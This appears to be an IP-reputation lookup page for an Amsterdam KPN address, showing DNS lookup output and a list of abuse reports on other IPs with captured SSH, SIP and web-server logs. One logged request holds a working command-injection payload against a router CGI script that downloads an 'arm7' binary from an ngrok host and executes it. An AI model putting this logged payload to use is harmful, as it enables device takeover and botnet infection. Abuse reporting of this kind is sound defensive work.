Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: Amsterdam

Region: Noord Holland

Country: The Netherlands

Internet Service Provider: KPN

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 81.204.27.243
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57439
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;81.204.27.243.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025121401 1800 900 604800 86400

;; Query time: 146 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Dec 15 11:11:16 CST 2025
;; MSG SIZE  rcvd: 106
Host info
243.27.204.81.in-addr.arpa domain name pointer 81-204-27-243.fixed.kpn.net.
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
243.27.204.81.in-addr.arpa	name = 81-204-27-243.fixed.kpn.net.

Authoritative answers can be found from:
Related IP info:
Related comments:
IP Type Details Datetime
45.143.220.237 attackspambots
IP found in the web server logs and used for port scanning
2020-04-09 20:49:16
167.172.238.159 attackspambots
Apr  9 15:00:07 srv01 sshd[30683]: Invalid user ubuntu from 167.172.238.159 port 59430
Apr  9 15:00:07 srv01 sshd[30683]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.172.238.159
Apr  9 15:00:07 srv01 sshd[30683]: Invalid user ubuntu from 167.172.238.159 port 59430
Apr  9 15:00:09 srv01 sshd[30683]: Failed password for invalid user ubuntu from 167.172.238.159 port 59430 ssh2
Apr  9 15:04:01 srv01 sshd[30882]: Invalid user ftpuser from 167.172.238.159 port 42362
...
2020-04-09 21:20:55
185.53.88.61 attackspam
[2020-04-09 08:06:38] NOTICE[12114][C-000032b5] chan_sip.c: Call from '' (185.53.88.61:5070) to extension '+972595778361' rejected because extension not found in context 'public'.
[2020-04-09 08:06:38] SECURITY[12128] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-04-09T08:06:38.390-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="+972595778361",SessionID="0x7f020c08adb8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/185.53.88.61/5070",ACLName="no_extension_match"
[2020-04-09 08:16:34] NOTICE[12114][C-000032c1] chan_sip.c: Call from '' (185.53.88.61:5082) to extension '972595778361' rejected because extension not found in context 'public'.
[2020-04-09 08:16:34] SECURITY[12128] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-04-09T08:16:34.678-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="972595778361",SessionID="0x7f020c08adb8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/185.53.88.61
...
2020-04-09 20:50:36
218.93.27.230 attackbotsspam
SSH invalid-user multiple login try
2020-04-09 20:37:31
14.251.68.85 attackbots
Unauthorized connection attempt detected from IP address 14.251.68.85 to port 445
2020-04-09 20:54:35
92.63.194.94 attackspam
2020-04-09T12:24:19.604924abusebot-3.cloudsearch.cf sshd[23268]: Invalid user admin from 92.63.194.94 port 30001
2020-04-09T12:24:19.610926abusebot-3.cloudsearch.cf sshd[23268]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.63.194.94
2020-04-09T12:24:19.604924abusebot-3.cloudsearch.cf sshd[23268]: Invalid user admin from 92.63.194.94 port 30001
2020-04-09T12:24:21.794813abusebot-3.cloudsearch.cf sshd[23268]: Failed password for invalid user admin from 92.63.194.94 port 30001 ssh2
2020-04-09T12:24:45.982833abusebot-3.cloudsearch.cf sshd[23348]: Invalid user ubnt from 92.63.194.94 port 39695
2020-04-09T12:24:45.990306abusebot-3.cloudsearch.cf sshd[23348]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.63.194.94
2020-04-09T12:24:45.982833abusebot-3.cloudsearch.cf sshd[23348]: Invalid user ubnt from 92.63.194.94 port 39695
2020-04-09T12:24:48.078740abusebot-3.cloudsearch.cf sshd[23348]: Failed password
...
2020-04-09 20:40:27
112.85.42.174 attackspam
2020-04-09T12:40:19.870883abusebot-4.cloudsearch.cf sshd[5915]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.174  user=root
2020-04-09T12:40:21.512598abusebot-4.cloudsearch.cf sshd[5915]: Failed password for root from 112.85.42.174 port 62646 ssh2
2020-04-09T12:40:24.765874abusebot-4.cloudsearch.cf sshd[5915]: Failed password for root from 112.85.42.174 port 62646 ssh2
2020-04-09T12:40:19.870883abusebot-4.cloudsearch.cf sshd[5915]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.174  user=root
2020-04-09T12:40:21.512598abusebot-4.cloudsearch.cf sshd[5915]: Failed password for root from 112.85.42.174 port 62646 ssh2
2020-04-09T12:40:24.765874abusebot-4.cloudsearch.cf sshd[5915]: Failed password for root from 112.85.42.174 port 62646 ssh2
2020-04-09T12:40:19.870883abusebot-4.cloudsearch.cf sshd[5915]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhos
...
2020-04-09 20:53:59
80.211.52.58 attackspam
sshd jail - ssh hack attempt
2020-04-09 20:39:24
77.244.213.38 attackspambots
Apr  9 12:08:37 vps sshd[117978]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=77.244.213.38
Apr  9 12:08:39 vps sshd[117978]: Failed password for invalid user deploy from 77.244.213.38 port 39542 ssh2
Apr  9 12:11:55 vps sshd[137671]: Invalid user gopher from 77.244.213.38 port 42136
Apr  9 12:11:55 vps sshd[137671]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=77.244.213.38
Apr  9 12:11:58 vps sshd[137671]: Failed password for invalid user gopher from 77.244.213.38 port 42136 ssh2
...
2020-04-09 20:42:38
92.63.194.91 attackspam
Apr  9 09:49:58 firewall sshd[7626]: Invalid user admin from 92.63.194.91
Apr  9 09:50:00 firewall sshd[7626]: Failed password for invalid user admin from 92.63.194.91 port 38113 ssh2
Apr  9 09:50:20 firewall sshd[7638]: Invalid user test from 92.63.194.91
...
2020-04-09 20:51:18
108.29.136.81 attackspam
[09/Apr/2020:07:50:42 +0200] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1"
2020-04-09 20:46:02
138.197.89.186 attack
5x Failed Password
2020-04-09 21:09:41
129.204.109.127 attack
Apr  9 15:01:02 localhost sshd\[19750\]: Invalid user hbase from 129.204.109.127
Apr  9 15:01:02 localhost sshd\[19750\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.109.127
Apr  9 15:01:04 localhost sshd\[19750\]: Failed password for invalid user hbase from 129.204.109.127 port 49460 ssh2
Apr  9 15:04:13 localhost sshd\[19860\]: Invalid user admin from 129.204.109.127
Apr  9 15:04:13 localhost sshd\[19860\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.109.127
...
2020-04-09 21:08:52
167.71.202.162 attack
Apr  9 14:55:45 srv-ubuntu-dev3 sshd[129520]: Invalid user oracle from 167.71.202.162
Apr  9 14:55:45 srv-ubuntu-dev3 sshd[129520]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.202.162
Apr  9 14:55:45 srv-ubuntu-dev3 sshd[129520]: Invalid user oracle from 167.71.202.162
Apr  9 14:55:47 srv-ubuntu-dev3 sshd[129520]: Failed password for invalid user oracle from 167.71.202.162 port 55606 ssh2
Apr  9 14:59:55 srv-ubuntu-dev3 sshd[130214]: Invalid user ubuntu from 167.71.202.162
Apr  9 14:59:55 srv-ubuntu-dev3 sshd[130214]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.202.162
Apr  9 14:59:55 srv-ubuntu-dev3 sshd[130214]: Invalid user ubuntu from 167.71.202.162
Apr  9 14:59:57 srv-ubuntu-dev3 sshd[130214]: Failed password for invalid user ubuntu from 167.71.202.162 port 36406 ssh2
Apr  9 15:04:06 srv-ubuntu-dev3 sshd[130897]: Invalid user wang from 167.71.202.162
...
2020-04-09 21:14:28
59.126.153.48 attack
MVPower DVR TV Shell Unauthenticated Command Execution Vulnerability
2020-04-09 20:48:18

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